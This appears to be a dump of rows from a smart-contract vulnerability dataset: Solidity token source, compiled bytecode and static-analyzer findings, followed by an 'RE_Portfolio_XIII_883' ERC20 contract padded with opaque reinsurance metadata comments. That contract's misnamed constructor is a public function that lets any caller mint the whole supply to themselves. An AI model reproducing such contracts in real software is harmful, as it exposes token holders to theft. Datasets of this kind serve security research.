Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
/*
*(`・ω・)(`・ω・´)(・ω・´)
* Created by Tsuchinoko
*(´・ω・)(´・ω・`)(・ω・`)
*/ | 0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b5565b341561042c57600080fd5b61014d600160a060020a0360043516602435611228565b341561044e57600080fd5b610162600160a060020a0360043516602435611310565b341561047057600080fd5b610162600160a060020a03600435166113eb565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061140095505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114cb9050565b341561054757600080fd5b610235600160a060020a03600435166115cd565b341561056657600080fd5b61014d6004356115df565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115ff565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162a95505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118e095505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611bae565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4995505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611fa116565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fb316565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123ee83398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123db565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611fa116565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fb316565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611fa116565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123ee8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fb316565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fb316565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123ee8339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610fa384670de0b6b3a764000063ffffffff611fc216565b9350610fb78551859063ffffffff611fc216565b600160a060020a03331660009081526008602052604090205490925082901015610fe057600080fd5b5060005b845181101561116857848181518110610ff957fe5b90602001906020020151600160a060020a03161580159061104e5750600a600086838151811061102557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110935750600b600086838151811061106557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109e57600080fd5b6110e284600860008885815181106110b257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fb316565b600860008784815181106110f257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061112257fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3600101610fe4565b600160a060020a033316600090815260086020526040902054611191908363ffffffff611fa116565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111bd6123db565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461124357600080fd5b60008111801561126c5750600160a060020a038216600090815260086020526040902054819010155b151561127757600080fd5b600160a060020a0382166000908152600860205260409020546112a0908263ffffffff611fa116565b600160a060020a0383166000908152600860205260409020556005546112cc908263ffffffff611fa116565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061131a6123db565b6000831180156113435750600160a060020a0333166000908152600a602052604090205460ff16155b80156113685750600160a060020a0384166000908152600a602052604090205460ff16155b801561138b5750600160a060020a0333166000908152600b602052604090205442115b80156113ae5750600160a060020a0384166000908152600b602052604090205442115b15156113b957600080fd5b6113c284611fed565b156113d9576113d2848483611ff5565b91506113e4565b6113d2848483612258565b5092915050565b600a6020526000908152604090205460ff1681565b6000808311801561142a5750600160a060020a0333166000908152600a602052604090205460ff16155b801561144f5750600160a060020a0384166000908152600a602052604090205460ff16155b80156114725750600160a060020a0333166000908152600b602052604090205442115b80156114955750600160a060020a0384166000908152600b602052604090205442115b15156114a057600080fd5b6114a984611fed565b156114c0576114b9848484611ff5565b9050610c1a565b6114b9848484612258565b60015460009033600160a060020a039081169116146114e957600080fd5b60008351116114f757600080fd5b5060005b8251811015610e875782818151811061151057fe5b90602001906020020151600160a060020a0316151561152e57600080fd5b81600a600085848151811061153f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114fb565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115fa57600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551118015611640575083518551145b80156116655750600160a060020a0333166000908152600a602052604090205460ff16155b80156116885750600160a060020a0333166000908152600b602052604090205442115b151561169357600080fd5b5060009050805b84518110156117e95760008482815181106116b157fe5b906020019060200201511180156116e557508481815181106116cf57fe5b90602001906020020151600160a060020a031615155b80156117255750600a60008683815181106116fc57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561176a5750600b600086838151811061173c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177557600080fd5b6117a3670de0b6b3a764000085838151811061178d57fe5b906020019060200201519063ffffffff611fc216565b8482815181106117af57fe5b602090810290910101526117df8482815181106117c857fe5b90602001906020020151839063ffffffff611fb316565b915060010161169a565b600160a060020a0333166000908152600860205260409020548290101561180f57600080fd5b5060005b84518110156111685761184584828151811061182b57fe5b90602001906020020151600860008885815181106110b257fe5b6008600087848151811061185557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061188557fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123ee8339815191528684815181106118bd57fe5b9060200190602002015160405190815260200160405180910390a3600101611813565b6001546000908190819033600160a060020a0390811691161461190257600080fd5b60008551118015611914575083518551145b151561191f57600080fd5b5060009050805b8451811015611b8557600084828151811061193d57fe5b90602001906020020151118015611971575084818151811061195b57fe5b90602001906020020151600160a060020a031615155b80156119b15750600a600086838151811061198857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119f65750600b60008683815181106119c857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a0157600080fd5b611a156305f5e10085838151811061178d57fe5b848281518110611a2157fe5b60209081029091010152838181518110611a3757fe5b9060200190602002015160086000878481518110611a5157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a8057600080fd5b611ad9848281518110611a8f57fe5b9060200190602002015160086000888581518110611aa957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fa116565b60086000878481518110611ae957fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b1c8482815181106117c857fe5b915033600160a060020a0316858281518110611b3457fe5b90602001906020020151600160a060020a03166000805160206123ee833981519152868481518110611b6257fe5b9060200190602002015160405190815260200160405180910390a3600101611926565b600160a060020a033316600090815260086020526040902054611191908363ffffffff611fb316565b60015433600160a060020a03908116911614611bc957600080fd5b600160a060020a0381161515611bde57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c735750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c985750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cbb5750600160a060020a0333166000908152600b602052604090205442115b8015611cde5750600160a060020a0385166000908152600b602052604090205442115b1515611ce957600080fd5b611cf285611fed565b15611f8b57600160a060020a03331660009081526008602052604090205484901015611d1d57600080fd5b600160a060020a033316600090815260086020526040902054611d46908563ffffffff611fa116565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d7b908563ffffffff611fb316565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc95780518252601f199092019160209182019101611daa565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e5a578082015183820152602001611e42565b50505050905090810190601f168015611e875780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611eab57fe5b826040518082805190602001908083835b60208310611edb5780518252601f199092019160209182019101611ebc565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3506001611f99565b611f96858585612258565b90505b949350505050565b600082821115611fad57fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fd557600091506113e4565b50828202828482811515611fe557fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201d57600080fd5b600160a060020a033316600090815260086020526040902054612046908563ffffffff611fa116565b600160a060020a03338116600090815260086020526040808220939093559087168152205461207b908563ffffffff611fb316565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121145780820151838201526020016120fc565b50505050905090810190601f1680156121415780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561216157600080fd5b6102c65a03f1151561217257600080fd5b505050826040518082805190602001908083835b602083106121a55780518252601f199092019160209182019101612186565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123ee8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227e57600080fd5b600160a060020a0333166000908152600860205260409020546122a7908463ffffffff611fa116565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122dc908463ffffffff611fb316565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123295780518252601f19909201916020918201910161230a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123ee8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207d898de0d4ff20f448daa862f83847950d9b8b3fe27bc906d8125c701a5cbfea0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 967 |
0x2ac86335be9327fa246443ac55d85bdfba83266b | pragma solidity ^0.4.21 ;
contract RE_Portfolio_XIII_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_XIII_883 " ;
string public symbol = " RE883XIII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1298226364411140000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIII_metadata_line_1_____Liberty_Mutual_Insurance_Europe_Limited_A_A_20250515 >
// < Y9hzWK4xv0a3w93w760ydeTGH6uz0c1c34M27yYkALtoHQ5VXH5g9D17xC980v2Z >
// < 1E-018 limites [ 1E-018 ; 51393084,7281305 ] >
// < 0x000000000000000000000000000000000000000000000000000000013253A1AC >
// < RE_Portfolio_XIII_metadata_line_2_____Lloyd_s_20250515 >
// < JWuULh7FAcxJ4FkaTlZ2n1911RuL1n8r60460Lg7VzVQ3316kGvTVbckMI5717j4 >
// < 1E-018 limites [ 51393084,7281305 ; 97821150,8737296 ] >
// < 0x000000000000000000000000000000000000000000000013253A1AC2470F3D03 >
// < RE_Portfolio_XIII_metadata_line_3_____Lloyd_s_Ap_A_20250515 >
// < 1TPH6WP3x6mYCtYaL8HfWqs703M36o1E565529z53uK06R95C99xzjE1YR6775ge >
// < 1E-018 limites [ 97821150,8737296 ; 146453579,095393 ] >
// < 0x00000000000000000000000000000000000000000000002470F3D03368EE6F49 >
// < RE_Portfolio_XIII_metadata_line_4_____Lloyd’s_of_London_20250515 >
// < F7zZMG01Gpaie9aE4yj0STIRRqWuFJ33r5i5l58cchvk7BD7sG6tl3p2oA5orS19 >
// < 1E-018 limites [ 146453579,095393 ; 169616949,512256 ] >
// < 0x0000000000000000000000000000000000000000000000368EE6F493F2FEEEDB >
// < RE_Portfolio_XIII_metadata_line_5_____Lloyd’s_of_London_20250515 >
// < 7mDEaLd0wW0fTXG6SQqH6J19O5un8LjrU5358Q7tZ3n4CN46HFXE740X9Jf65kuD >
// < 1E-018 limites [ 169616949,512256 ; 201050354,902652 ] >
// < 0x00000000000000000000000000000000000000000000003F2FEEEDB4AE5A80D6 >
// < RE_Portfolio_XIII_metadata_line_6_____Lloyds_America_20250515 >
// < 467iVjI2b6H5MpLAI24k3Q1t0K9H4j6w1MYeJCpQl1yjEFjslIrO6i7gGYojrF8s >
// < 1E-018 limites [ 201050354,902652 ; 217099180,499057 ] >
// < 0x00000000000000000000000000000000000000000000004AE5A80D650E031155 >
// < RE_Portfolio_XIII_metadata_line_7_____London_Reinsurance_Group_20250515 >
// < 77PV1inG6041czRkoF68kit80781y7IXhWMS9cWI249c8TcS2xR1ABt267vqaiHB >
// < 1E-018 limites [ 217099180,499057 ; 228807603,033191 ] >
// < 0x000000000000000000000000000000000000000000000050E031155553CCB3E3 >
// < RE_Portfolio_XIII_metadata_line_8_____London_Reinsurance_Group_Incorporated_20250515 >
// < dkUVLE3usgHKBa7hQ1w8AWAP26Ft7DBi0m07yh1Mwo3UsXAVOjbK51qenLxT48S2 >
// < 1E-018 limites [ 228807603,033191 ; 292383025,911828 ] >
// < 0x0000000000000000000000000000000000000000000000553CCB3E36CEBD1973 >
// < RE_Portfolio_XIII_metadata_line_9_____Maiden_Holdings_Limited_20250515 >
// < 269GG16z4NG9Y3zW4PNHy6Sc88blV5v09V5qM72DPEU2T9Z9IsPelpL5rNo74MpT >
// < 1E-018 limites [ 292383025,911828 ; 363145544,202577 ] >
// < 0x00000000000000000000000000000000000000000000006CEBD1973874842228 >
// < RE_Portfolio_XIII_metadata_line_10_____Malath_Cooperative_Insurance_&_Reinsurance_Co_20250515 >
// < 5qu0lPdb54w1JsG4HSGn6sNhKMtpf8KO9370Imrp75EXQozZPhQr97pZ2HQx7YdT >
// < 1E-018 limites [ 363145544,202577 ; 386557864,947034 ] >
// < 0x0000000000000000000000000000000000000000000000874842228900107FF2 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIII_metadata_line_11_____Malaysian_National_Reinsurance_Berhad_20250515 >
// < sLE99jjhyu5Dy14FWg0ebb2Jdobi6ae4iYoecv0xc3jukyc6Y3Ls40VgX0Hq9QrP >
// < 1E-018 limites [ 386557864,947034 ; 455447469,473933 ] >
// < 0x0000000000000000000000000000000000000000000000900107FF2A9AADB1B7 >
// < RE_Portfolio_XIII_metadata_line_12_____Malaysian_re_Am_20250515 >
// < I7r65ZVUNnx6VHbqC49yJQ45GVM8d4Npj1SvIvg6uXZ8cxpDp9qm02sxbjLi6HuA >
// < 1E-018 limites [ 455447469,473933 ; 469777908,049343 ] >
// < 0x0000000000000000000000000000000000000000000000A9AADB1B7AF0183548 >
// < RE_Portfolio_XIII_metadata_line_13_____Malta_Am_QEL_Qic_Europe_Limited__A_20250515 >
// < 38HfWX7CFVziVqu17e2wy2WPA93HrDQs60qk6LI4x9QY5xKbhXkYt3804DZ0i1fj >
// < 1E-018 limites [ 469777908,049343 ; 526147269,806712 ] >
// < 0x0000000000000000000000000000000000000000000000AF0183548C40150738 >
// < RE_Portfolio_XIII_metadata_line_14_____Managed_Care_Resources_20250515 >
// < Wx6AV4m38AWB1955G64SKvoBF6ze66wSL6b9l783Gg6et5Nnt1BAAN3Ccfg4x8O2 >
// < 1E-018 limites [ 526147269,806712 ; 551190581,500673 ] >
// < 0x0000000000000000000000000000000000000000000000C40150738CD55A16DA >
// < RE_Portfolio_XIII_metadata_line_15_____Managing_Agency_Partners_Limited_20250515 >
// < Wo4PmF8WrQqP5xv8ao4hc3pVzZ4FDNnMbn2Op1D0PVU2ssvw3E7VKp3P86azn7Wx >
// < 1E-018 limites [ 551190581,500673 ; 595126874,501715 ] >
// < 0x0000000000000000000000000000000000000000000000CD55A16DADDB3B8D4E >
// < RE_Portfolio_XIII_metadata_line_16_____Managing_Agency_Partners_Limited_20250515 >
// < qN8ZaR93IX576lvZGxH944zwV158iewwMseFd0H4KiicVUQFqAXjmWC1os0LvWsD >
// < 1E-018 limites [ 595126874,501715 ; 659377643,160504 ] >
// < 0x0000000000000000000000000000000000000000000000DDB3B8D4EF5A3271D0 >
// < RE_Portfolio_XIII_metadata_line_17_____Managing_Agency_Partners_Limited_20250515 >
// < QV62kR335nhgEreK8nFS8Hk1rv8jq4UoxE3DHkMNajKb9lIJmIjZ4XO48w30X2i5 >
// < 1E-018 limites [ 659377643,160504 ; 671598294,797248 ] >
// < 0x0000000000000000000000000000000000000000000000F5A3271D0FA309ADDB >
// < RE_Portfolio_XIII_metadata_line_18_____Managing_Agency_Partners_Limited_20250515 >
// < dHLnx3JPEnxi55U7Uq8Qug5Rr51CIEaBgWQ3O8g8w6NPmW8Gh9JzUmZ5Q8TeIyh3 >
// < 1E-018 limites [ 671598294,797248 ; 704760652,687265 ] >
// < 0x000000000000000000000000000000000000000000000FA309ADDB1068B36BE8 >
// < RE_Portfolio_XIII_metadata_line_19_____Managing_Agency_Partners_Limited_20250515 >
// < 7b3wpcX1LQPz6W1Y7g0ly6ViO0LXX38P6ftaBjKBu6zO7uUBfTOx1ulIb4KSyUmn >
// < 1E-018 limites [ 704760652,687265 ; 740179625,983674 ] >
// < 0x000000000000000000000000000000000000000000001068B36BE8113BD07C5A >
// < RE_Portfolio_XIII_metadata_line_20_____Manulife_Financial_Corporation_20250515 >
// < 3bw0FSzSpw9S4LPI5ZWMex803X0TbAR732GR9zSZMQL11q26Y59EFZIjkdD6yDho >
// < 1E-018 limites [ 740179625,983674 ; 754327021,542943 ] >
// < 0x00000000000000000000000000000000000000000000113BD07C5A119023B2BE >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIII_metadata_line_21_____Mapfre_Genel_Sigorta_AS_AA_20250515 >
// < 2LI3cXf9hQ5ILI48Rkg43k39gN284UStLrlIyTYF389f10VFKaj3Up4Q4Xs72TMX >
// < 1E-018 limites [ 754327021,542943 ; 781822658,285778 ] >
// < 0x00000000000000000000000000000000000000000000119023B2BE123406B5D8 >
// < RE_Portfolio_XIII_metadata_line_22_____MAPFRE_RE_Compania_de_Reaseguros_SA_20250515 >
// < 9Ha0sT2u2s3S55NR96zB0l9Kr53XYEA955MS9kt1DQW2GH0h1428aw9YWXOKy0l2 >
// < 1E-018 limites [ 781822658,285778 ; 794112777,039916 ] >
// < 0x00000000000000000000000000000000000000000000123406B5D8127D47F17B >
// < RE_Portfolio_XIII_metadata_line_23_____MAPFRE_RE,_Compania_de_Reaseguros,_SA_A_A_20250515 >
// < 3i813i8sQ760Dox9QFK5v7Gk13y2wAVVm115IWBZt5TN60e3qb27zZcCt4yhYlI4 >
// < 1E-018 limites [ 794112777,039916 ; 811605927,269188 ] >
// < 0x00000000000000000000000000000000000000000000127D47F17B12E58C5F4A >
// < RE_Portfolio_XIII_metadata_line_24_____Markel_Corporation_20250515 >
// < Nq5M6sh22c7E5yKwta4EBBQyWys84345brSl1nk5Nvj91jgIq9AVE01C5JK5l8iO >
// < 1E-018 limites [ 811605927,269188 ; 836674378,216654 ] >
// < 0x0000000000000000000000000000000000000000000012E58C5F4A137AF7CAF1 >
// < RE_Portfolio_XIII_metadata_line_25_____Markel_Europe_plc_m_Ap_20250515 >
// < KFK553QUifnIC72F00yT2JZBmKbn98CdBKOYu7PCjH3e2xxbwXcVZFqbq1KywJVN >
// < 1E-018 limites [ 836674378,216654 ; 864284830,175732 ] >
// < 0x00000000000000000000000000000000000000000000137AF7CAF1141F89FFBD >
// < RE_Portfolio_XIII_metadata_line_26_____Markel_Syndicate_Management_Limited_20250515 >
// < vzEBp94jr9XO2FZ0giCVGedM0SHuf8UDoFX97HytI5o4jiQdp2v6x10o848pLseM >
// < 1E-018 limites [ 864284830,175732 ; 893785840,70027 ] >
// < 0x00000000000000000000000000000000000000000000141F89FFBD14CF60F7FA >
// < RE_Portfolio_XIII_metadata_line_27_____Markel_Syndicate_Management_Limited_20250515 >
// < VMgs1YKjAk6L2w3dre1s0hMVBXi1m48dxFre52duBl99EVzhe9785EM1eBTBuqhV >
// < 1E-018 limites [ 893785840,70027 ; 926682194,100706 ] >
// < 0x0000000000000000000000000000000000000000000014CF60F7FA159374D206 >
// < RE_Portfolio_XIII_metadata_line_28_____Markel_Syndicate_Management_Limited_20250515 >
// < XRfE9eIZ2uAJf8g39dVXLTrdWbI5a5D6SKlFU8KnB7NT64E83H9SviY44k7bx2b1 >
// < 1E-018 limites [ 926682194,100706 ; 956127688,115235 ] >
// < 0x00000000000000000000000000000000000000000000159374D2061642F7141F >
// < RE_Portfolio_XIII_metadata_line_29_____Marketform_Managing_Agency_Limited_20250515 >
// < Jl1kMdo6c1XA7ZaZ8Sji3OK9PTrgm44FoO6DN96pRmHs2mA115vASnNcByU4eR7N >
// < 1E-018 limites [ 956127688,115235 ; 971897280,708902 ] >
// < 0x000000000000000000000000000000000000000000001642F7141F16A0F5913A >
// < RE_Portfolio_XIII_metadata_line_30_____Max_Re_20250515 >
// < Y0o6FJf0VeboDRx45a57Qyxl92ajx3ORok1PHwYiT6lV6d8YWiXq5U61tC78tND5 >
// < 1E-018 limites [ 971897280,708902 ; 997719459,970261 ] >
// < 0x0000000000000000000000000000000000000000000016A0F5913A173ADF1601 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_XIII_metadata_line_31_____MetLife_Insurance_Company_USA_MICUSA__Ap_20250515 >
// < i9mK50c7mY37yNsFwea0JNSSK7981bSnH51CfB281s30527HOXqbpHcnkGbsN4zN >
// < 1E-018 limites [ 997719459,970261 ; 1034934500,53727 ] >
// < 0x00000000000000000000000000000000000000000000173ADF16011818B0BB39 >
// < RE_Portfolio_XIII_metadata_line_32_____MetLife_Investors_USA_insurance_Company_Ap_Ap_20250515 >
// < 0CTM8HXnNYz1k7Lff6EDS7f8O36jGoV8tB4Mn80RX4hn6u0aSzVhuil7sp95dbzY >
// < 1E-018 limites [ 1034934500,53727 ; 1049364589,86927 ] >
// < 0x000000000000000000000000000000000000000000001818B0BB39186EB34CDE >
// < RE_Portfolio_XIII_metadata_line_33_____Mexico_BBBp_Reaseguradora_Patria,_SA__Patria_Re__A_20250515 >
